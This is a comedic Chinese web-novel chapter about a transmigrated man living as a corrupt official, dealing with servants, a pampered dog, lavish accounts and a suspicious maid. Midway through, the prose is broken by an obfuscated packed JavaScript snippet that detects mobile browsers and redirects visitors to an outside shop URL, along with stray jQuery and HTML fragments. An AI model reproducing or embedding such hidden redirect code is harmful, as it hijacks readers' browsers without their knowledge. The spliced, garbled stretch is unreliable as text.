这应无咎大概是想羞辱他,一个早就该死了的前朝贪官,杀不了你还不能羞辱你?
能的兄弟,能的。
不过容双一点没觉得羞辱,只觉得干得好。
一米一粟当思来之不易,半丝半缕恒念物力维艰。
容·无法选中·双很上道地说:“那就多谢陛下恩赏了。”
他实在有些饿,从下面拿了个馒头咬了口说道:“上面那两个我昨晚掉地上了,你喂给……咱们府里养狗了吗?你拿去给小狗吃吧。”
老葛回忆起昨晚大人和馒头一起被扔回来的情形,不禁泪眼朦胧。
黄连那是什么人,圣上的喉舌臂膀,端着盘吃剩下的馒头递给他,骄矜倨傲,言语间都是深意。
——这可是御赐,万望管事嘱托容大人吃干净,可不敢落个大不敬的罪名。
再看大人一脸淡定只顾着吃馒头,心里说大人这是被刺激疯了。
他擦擦眼泪点头:“是,大人,老奴这就去。”
应完就拿着那两个咬过的剩馒头出去了。
容双盘腿坐在榻上,边吃边想昨晚的事。
果然和他猜得一样,应无咎就不可能发善心请他去宫里泡澡,齐王的人头就是给他的下马威。
不是要勾结朕的弟弟造反吗?看,弟的人头。
好心狠手辣的一个人。
杀不了你还杀不了区区一个弟弟吗?杀得了,完全杀猴儆鸡来的。
不过话说回来,梁惠帝最后愿意把皇位传给应无咎,是不是其实也意识到了什么,想把王朝最后的希望寄托到应无咎身上。
因为很明显应无咎确实比梁惠帝更适合当一个封建王朝的统治者,多疑,心狠,城府又深,还六亲不认,必要时候谁都能砍两刀。
是啊。
他·危。
应无咎有心杀他,梁惠帝那道圣旨绝不可能保他一辈子。
更何况昨天晚上应无咎都跟他摊明牌了。
这种人一张口那个味儿就冲得很,杀气重,对权力追求极致,道德感比普通人低,能听祖宗的话就有鬼了。
容双想着想着,又想到了齐王,猛地打了个寒颤,后背凉飕飕的。
左右瞅着这房间也阴得很,他把馒头往嘴里一塞,穿上鞋就跑出去了:“老葛!老葛!”
迎上来的是那个贴身小厮:“大人,葛叔去找旺财了。”
很好,很标准的小狗名字。
容双点点头:“你叫什么来着?”
贴身小厮红着脸腼腆道:“大人,您忘了吗?奴才叫来福啊。”
很好,也是很标准的小狗……
嗯?
容双:“你叫来福啊。”
来福用力点点头。
算了,人也能叫来福,来福怎么了,来福多好听,福气四面八方来,多好的寓意。
容双叼着馒头朝外走:“老葛怎么去这么久。”
正说着话,容双就在院子门口撞上了老葛,带着旺财。
旺财是一条通体雪白的长毛狗,往那一站跟朵棉花糖似的,容双看不出品种来,但一看这狗就知道养得极好,毛发蓬松,油光水滑。
他蹲地上朝小狗嘬嘬嘬。
“嘬嘬嘬,旺财!来我这!”
狗甩着尾巴纹丝不动。
容双:“旺财!旺财!来呀!看我手里有什么!嘬嘬,嘬嘬,来我这,给你吃馒头。”
旺财:“……”
容双:“?”
“它不爱吃馒头?”
老葛:“……它不叫旺财,大人,它叫容耀祖,您给起的名儿啊。”
容双:“???”
“那旺财是?”
说旺财旺财到,旺财:“哎呦大人,我是旺财!”
旺财是府里的财务管事,长一脸精明样子,额上的头发打了两个C,对一块跟括号似的。
容双疑惑,容双震撼,容双不解。
这容之焕有啥毛病啊,给人起狗名字,给狗起人名字。
他一脸便秘样,和威风凛凛的耀祖对视。
容耀祖:“汪汪!”
容双指着狗:“它说什么?”
老葛:“大人,少爷要吃饭了。”
嚯,少爷。
容双点头,听说少爷不吃馒头,于是他便起身亲自跟了过去看看少爷准备吃什么。
一看不得了了。
少爷不仅不吃馒头,隔了一个时辰的肉都一口不碰,容双眼看着那好端端的肉要倒去泔水桶,差点没气冒烟儿了。
“不!许!扔!”
他指着下人们手里的肉:“收起来!要么吃这个要么就饿着!”
狗委屈巴巴“嗷”了声。
容双蹲过去,一把握住它的嘴筒子,先教训狗:“好好的肉为什么不吃?你以为家里挣钱容易吗?嗯?为什么不吃?”
狗嗷嗷的,大概是想说爹你贪钱特容易。
容双安静了一会,拍拍狗儿子头:“名字不好,在我们那边这个名字爆巨婴率99%。”
容耀祖:“嘤嘤嘤……”
容双:“我不骗你,真的。”
容耀祖:“……”
耀祖少爷打翻了自己的饭盆。
容双:“……”还不乐意了。
他初来乍到也没在狗名字上多说什么,只留一句:“ 老实点,不许浪费吃的,不然下辈子你变成猪。”
说完站起身看了一圈:“来福,你照顾它把肉吃干净。”
“旺财,把咱们府里的财务账册往我书房里送一份。”
“是,大人。”
容双虽然嘴上说着可以死,但容双还是想活。
谁不想活。
而且现在屎盆子已经扣他头上了,就算真要死,他也不能顶着这玩意儿死,怎么着也得先摘下来。
老葛带他朝着书房走,绕过蜿蜒连廊,在曲径通幽处显现出一座屋角飞扬朱金栏杆的建筑。
容双第一反应是这房子真大真牛逼。
第二反应是书到用时方恨少,想了半晌也还是牛逼。
他心脏突突的,望着书房前后院峰石罗列,引活水绕室,一派曲觞流水之景。
捂住心口:“老葛,我心脏病要犯了。”
老葛伸出圆手:“……”
“大人,心在这边。”
容双无言摆摆手,说不出话,进了书房更是一踉跄,全是金丝楠木,根根都是满贯龙胆纹,木面如鎏金泼墨,全是极品纹样。
这能不越制???
皇帝都用不上的东西全让他用上了,皇帝不杀他杀谁??
容双换了个方向捂:“老葛,这回心脏病真犯了。”
老葛思考半天,叹气回道:“大人,心脏病犯了明日也得上朝,再不能请假了。”
容双:“……”
他是那意思吗他?!
果然,狼来了的故事还是得少讲,否则以后他上吊了老葛也得来一句:吊死了也得上朝。
容双心痛地进了书房,招手让老葛抱来账册。
低头,好大一张紫檀桌,木质温润包浆如玉,案面都是螺钿和金银丝掐出的山水图。
哈哈。
容双觉得自己好命苦,翻开账册以后发现,没有最命苦只有更命苦。
一沓子账册,仅记录容府上下吃喝的支出用度都有五本。
随便一翻,容之焕早食88道菜,午食108道,晚食66道。
贪官爱吃鸡爪,早中晚三餐的菜系里必须有十道关于鸡爪的菜,且不能重样,鸡爪不新鲜的不要,全都是现杀。
容之焕每多活一天,就会有几十只鸡失去爪子。
而且做了鸡爪的鸡不允许再做其他菜,便只能丢出去烂着。
容双:“……”
这是真该死。
剩下触目惊心的账目多大差不差,每天成千上万两白银流水一样的花出去,挥霍无度,比容双想得还要离谱。
他撑着账册,叹了一句:“朱门酒肉臭,路有冻死骨。”
老葛:“……”
到底在陛下那受了什么刺激,怎么天天可着劲骂自己。
容双大概翻完以后,想起来自己还有一笔债,说道:“我昨日在东市买馒头借了孟黑一文钱,你托人还了他。”
老葛:“是,老奴这就差人还了孟黑……涵大人。”
在老葛离开前容双又吩咐了一句:“让全府上下所有人都来前院集合,就说我有话要吩咐。”
“是。”
孟府。
朱漆大门被敲响,很快就开了道缝探出个头:“哪位?”
来福:“容大人说昨日借了孟大人些银子,托我给孟大人送来。”
孟府小厮挠挠头:“银子?没曾听我们孟大人提起过啊。”
来福:“那你回头问问你家大人,哝,给你。”
他从兜里掏出一个铜板递过去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485842|202001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
以为又是什么py交易的孟府小厮:“???”
一个铜板?
-
半炷香后,容府水灵的下人们都已经在前院候着了。
容双离开书房,穿过竹林小路,慢悠悠进了前院。
下人们要跪地行礼,容双一挥手:“免!”
来福给最前面的地台上放了把黄梨木八仙椅,容双也没坐,叉着腰站前面清了清嗓子。
“我就说三件事,速战速决。”
“第一,从今天开始,全府上下都给我勒紧裤腰带过日子,不允许挥霍无度浪费无度。”
下人们刚要吵嚷,容双就说了第二件事。
“第二,容府养不了这么多闲人,身契都在这里,待不下去的人可以领了自己的身契结钱离开,善意提醒一下,在我倒台以及容府被查抄之前离开,你们还是良民,等我被抄了那可就不一定了。”
“第三,容府的规矩要变一变,不许私收贿赂,不许顶着容府的名号欺压百姓,不许谄上欺下,详细的内容晚点我会让老葛吩咐下去。”
他话一说完,下人们已经呜呜哭作了一团。
容双:“……”
他很无奈地看了会,然后一挥袖子坐下了,想哭就哭吧,毕竟好日子确实是到头了。
他支着耳朵听了几个哭得特别突出的。
第一个哭得大声,肝肠寸断的,像死了亲爹。
第二个哭得像大鹅,不知道的以为谁家大鹅跑出来了。
第三个哭得诡异,离他很近的一个婢女,身形高大梨花带雨……?
……
前院已经乱成了一锅粥,青年撑着下巴靠在椅子上,一头青丝从椅侧垂下,如同上好的丝锦缎子一样柔顺。
他身段清瘦窈窕,身上的稠衣匀匀地贴着腰身,腰带将腰束成一把,肤如凝脂肌如雪,十分养眼。
抛去蠹虫这个头衔,这具身体也实在美得令人心惊。
不过容双对这种事情已经免疫很久了,因为他之前摸来铜镜偷偷看了眼,他俩长得一模一样。
直到他遥遥接收到那位身形高大的婢女拉了丝的眼神。
“?”
不儿?
夭寿了。
容之焕不会和府里的婢女有一腿吧。
容双心里惴惴不安,然后当天晚上就在自己卧房里撞上了那位婢女。
婢女站在榻边,见了他便是哭天抢地的一顿嘤嘤。
“奴婢是被大人救回来的,无论如何都不会抛下大人离开,大人就当身边留个暖床丫头吧。”
说着就朝他扑了过来。
容双吓了一大跳,闪身往旁边就躲。
“姐姐,姐姐,你冷静点!”
“大人若不让奴婢留在大人身边,那奴婢还不如死了好。”
说罢继续朝他扑,容双在卧房里东躲西藏,跑了一头汗。
他撑着墙喘气,早就累得不行了,那婢女却无知无觉。
牛一样的肺活量。
又朝他扑来。
这回容双没躲掉,情急之下一把抓住了婢女的手。
我艹,好厚的茧,好糙好粗的手!能一把拧断他的脖子!
这谁安插在他身边的练家子!
容双急赤火燎地松了手:“我真求你了姐姐,你不想走你就留着,我也没逼你走啊!”
婢女眼泪掉得像断了线的珠子:“大人这意思是嫌弃奴婢,连个暖床丫头的身份也不愿给奴婢,嘤嘤嘤。”
容双心说我什么时候说了,也不知道这人到底身上揣着什么任务,好有毅力。
他双手一举作投降状,直接道:“姐姐,我喜欢男的!”
婢女也呆了:“?”
啥玩意儿?
容双:“本大人有龙阳之好断袖之癖,最喜欢和帅哥搞基,所以你想留就留着吧,但真不用给我暖床。”
看婢女一副怀疑的样子,他凑过去说了句话。
“……”
-
夜深,祁德殿。
帝王手中捻着张纸,上面记录了容之焕回府后的所有动向。
他低垂着眼睑,扫到最后两行时顿住了。
挑眉。
-本大人有龙阳之好断袖之癖,最喜欢和帅哥搞基,所以你想留就留着吧,但真不用给我暖床。
-而且我是下面那个。
……
下面那个?
呵。